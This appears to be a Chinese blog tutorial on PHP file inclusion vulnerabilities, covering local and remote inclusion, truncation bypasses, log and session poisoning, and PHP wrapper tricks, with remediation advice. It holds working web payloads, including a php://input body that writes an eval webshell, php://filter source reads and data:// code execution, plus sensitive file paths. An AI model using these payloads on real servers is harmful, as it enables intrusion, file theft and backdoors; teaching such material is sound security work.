文件包含漏洞
文件包含漏洞简介
文件包含漏洞基础介绍
文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期的文件。如果文件中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行。
文件包含漏洞可能会造成服务器的网页被篡改、网站被挂马、服务器被远程控制、被安装后门等危害。
文件包含漏洞常见函数
PHP当中有:include()、include_once()、require()、require_once()等;
include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行;
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本;
include_once()和require_once():若文件中代码已被包含则不会再次包含。
分析漏洞产生的原因
案例一:
index.php中将page值传入main.php,在main.php存在以下代码:
<?php
if($_GET['page']){
include $_GET['page'];
}else{
include "home.php"
}
?>
很正常的一段PHP代码,它是怎么运作的呢?
1.在index.php中取得page的值($_GET[page])。
2.判断$_GET[page]是不是空,若不空(这里是main.php)就用include来包含这个文件。
3.若$_GET[page]空的话就执行else,来 include "home.php"这个文件。
案例二:
<?php
$filename = $_GET['page'];
include($filename);
?>
这是一段PHP代码,从代码上分析可以看出,把一个GET请求的参数“page”传给了一个变量filename,然后包含了这个变量。然而,开发者没有对$_GET['page']参数经过严格的过滤,直接带入了include的函数,我们可以修改$_GET['page']的值,包含自己想看的文件。(文件的路径一定要对,不对的话就包含不了)
这样,我们总结一下,文件包含漏洞就是:文件包含函数包含文件参数没有经过过滤或者严格的定义,并且参数可以被用户控制,就可能包含非预期的文件。如果文件中存在恶意代码,无论文件是什么样的后缀类型,文件内的恶意代码都会被解析执行。
漏洞分类
注意:要实现远程文件包含需要allow_url_fopen和allow_url_include都开启
本地包含
可以包含本地文件,在条件允许时甚至能执行代码
读敏感文件,读PHP文件
包含日志文件GetShell
包含data:或php://input等伪协议
若有phpinfo则可以包含临时文件
配合上传图片马,然后包含从而GetShell
远程包含
包含远程的木马或病毒文件,从而GetShell
常见的敏感信息路径
Windows系统常见敏感文件
c:\boot.ini 查看系统版本
c:\xxx\php.ini php 配置信息
c:\xxx\my.ini MySQL配置信息
c:\xxx\httpd.conf Apache配置信息
Linux系统常见敏感文件
/etc/passwd Linux系统账号信息
/etc/httpd/conf/httpd.conf Apache配置信息
/etc/my.cnf MySQL配置文件
/usr/etc/php.ini PHP配置信息
无限制本地文件包含漏洞
# 无限制
<?php
$filename=$_GET['filename'];
include($filename);
?>
这是一段PHP代码,从代码上分析可以看出,把一个GET请求的参数'filename'传给了一个变量filename,然后包含了这个变量。然而,开发者没有对$_GET['filename']参数经过严格的过滤,直接带入了include的函数,我们可以修改$_GET['filename']的值,包含自己想看的文件。(文件的路径一定要对,不对的话就包含不了)
包含普通文件
现在我们模拟一个场景:在一个网站中,
存在着这么几个文件:index.php 、LFI.php 、phpinfo.php。其中,index.php存在着包含的功能,现在想用index.php包含LFI.php文件和phpinfo.php文件
包含LFI.php文件:
包含phpinfo.php文件:
包含敏感文件
我们拿windows系统中的boot.ini文件为例进行包含。因为boot.ini在C盘的根目录下,我们要包含这个文件的话首先要进入到这个目录下才能包含它。
这里便遇到了相对路径和绝对路径的概念
绝对路径:是指目录下的绝对位置,直接到达目标位置,需要输入完整的文件路径。
相对路径:是指由这个文件所在的路径引起的跟其它文件(或文件夹)的路径关系。
相对路径需要用到“../”来访问上一级路径
本地文件包含漏洞可以通过文件包含功能,将任意后缀文件中的代码执行。test.txt文件的内容是<?php phpinfo();?>
,利用文件包含漏洞包含test.txt文件会将里面的PHP代码执行输出phpinfo信息
有限制本地文件包含漏洞(过滤手段)
# 有限制
<?php
$filename = $_GET['page'];
include($filename . "html");
?>
在包含变量$filename时,限制了只允许包含“.html”格式的文件,这就阻止了一些非法的包含其他文件的情况。
当然,程序员也不想让自己编写的程序出现问题,所以会想尽一切办法对程序的BUG进行修补
%00截断文件包含
%00(%00截断)就是在url后面输入 %00 即可截断html。
条件:magic_quotes_gpc = off; php版本<5.3.4
路径长度截断文件包含
长路径截断原理:
操作系统存在最长目录的限制,可以通过输入超过最长目录的路径长度,这样系统就会将后面的路径丢弃,导致后缀截断。
windows下目录最大长度为256字节,超出的部分会被丢弃。
linux下目录最大长度为4096字节,超出的部分会被丢弃。
用…绕过的时候windows系统中,点号需要长于256,linux系统长于4096。
点号截断文件包含
点号绕过的原理和长路径截断的一样:
windows下目录最大长度为256字节,超出的部分会被丢弃。用…绕过的时候windows系统中,点号需要长于256。
windows大于256 linux大于4096
Session文件包含
当Session文件的内容可控,并且可以获取Session文件的路径,就可以通过包含Session文件进行攻击。
Session的存储位置一般是通过以下两种方式可以获取:
(1)通过phpinfo的信息可以获取到Session的存储位置。
(2)通过猜测默认的Session存放位置进行尝试。
通常Linux下Session默认存储在/var/lib/php/session目录下。
日志文件包含
服务器中的中间件、SSH等服务都有记录日志的功能,如果开启了记录日志功能,用户访问的日志都会存储到不同服务的相关文件中,如果日志文件的位置是默认位置或者是可以通过其他方法获取到,就可以通过访问日志将恶意代码写入到日志文件中,然后通过文件包含漏洞,包含日志中的恶意代码,获得Web服务器的权限。比较典型的日志文件包含有中间件日志文件包含和SSH日志包含。
文件包含日志文件
SSH日志包含
远程文件包含
无限制远程文件包含
无限制:?filename=http://www.baidu.com/robots.txt
无限制远程文件包含是指包含的文件的位置并不是在本地服务器,而是可以通过URL的形式,包含其他服务器上的文件,执行其他服务器中文件的恶意代码。
漏洞利用条件:allow_url_fopen = on 和 allow_url_include = on。
有限制远程文件
有限制:?filename=http://www.baidu.com/robots.txt%00
有限制远程文件包含漏洞是指代码中存在特定的前缀或者php、html等后缀,需要绕过前缀或者后缀,才能执行远程URL中的恶意代码。通常有限制远程文件包含绕过可通过问号、#号、空格三种方式来绕过。
PHP伪协议
常见的PHP伪协议
PHP 带有很多内置 URL风格的封装协议,可用于类似 fopen()、copy()、file_exists()和 filesize()的文件系统函数。除了这些封装协议,还能通过 stream_wrapper_register()来注册自定义的封装协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
expect:// — 处理交互式的流
php://伪协议
条件:
- allow_url_fopen:off/on
- allow_url_include :仅php://input php://stdin php://memory php://temp 需要on
作用:
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
php://input 执行php代码
?filename=php://input
post参数提交:<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["abc"]);?>');?>
php://filter 读取文件源码
?filename=php://filter/read=convert.base64-encode/resource=flag.php
php://伪协议是PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
php://filter(本地磁盘文件进行读取)
最常使用的一个伪协议,一般可以利用它进行任意文件读取。
用法:?filename=php://filter/convert.base64-encode/resource=xxx.php
使用条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;
php://filter 目标使用以下的参数作为它路径的一部分。
复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
php://input(读取POST数据)
php://input 可以访问请求的原始数据的只读流(即可以直接读取到POST上没有经过解析的原始数据),
将post请求中的数据作为PHP代码执行。
注意:在“enctype="multipart/form-data" 的时候 php://input 是无效的。”
用法:?file=php://input 数据利用POST传过去
利用条件:不需要开启 allow_url_fopen,不需要开启allow_url_include。
php://input(写入木马)
php://input 执行php代码
?filename=php://input
post参数提交:<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["abc"]);?>');?>
利用条件:需开启 allow_url_include,allow_url_fopen 不需要开启。
php://input(命令执行)
利用条件:需开启 allow_url_include,allow_url_fopen 不需要开启。
data://伪协议!!!
条件
- allow_url_fopen :on
- allow_url_include :on
作用
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
?filename=data://text/plain,<?php%20phpinfo();?>
?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
PHP 版本5.2.0 起数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码,就会执行此代码,可造成任意代码执行。
file://伪协议
条件:
- allow_url_fopen:off/on
- allow_url_include :off/on
作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。
?filename=file://C:/windows/win.ini
file协议可以访问本地文件系统,读取到文件的内容。
利用条件:不需要开启allow_url_fopen,不需要开启allow_url_include。
phar://伪协议
这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。
用法:?file=phar://压缩包/内部文件 phar://xxx.png(压缩包)/shell.php (内部文件)
注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,
将木马文件压缩后,改为其他任意格式的文件都可以正常使用。
步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,
然后将后缀改为png等其他格式。
zip://伪协议
zip伪协议和phar协议类似,但是用法不一样。
用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php
条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符
文件包含漏洞修复
一、代码层修复
通过代码层进行过滤,将包含的参数设置为白名单。
二、服务器安全配置
1.修改php的配置文件将open_basedir的值设置为可以包含的特定目录,后面要加/,例如:open_basedir=/var/www/html/。
2.修改PHP的配置文件关闭allow_url_include可以防止远程文件包含。
标签:文件,include,包含,url,漏洞,allow,php From: https://www.cnblogs.com/carmi/p/17991306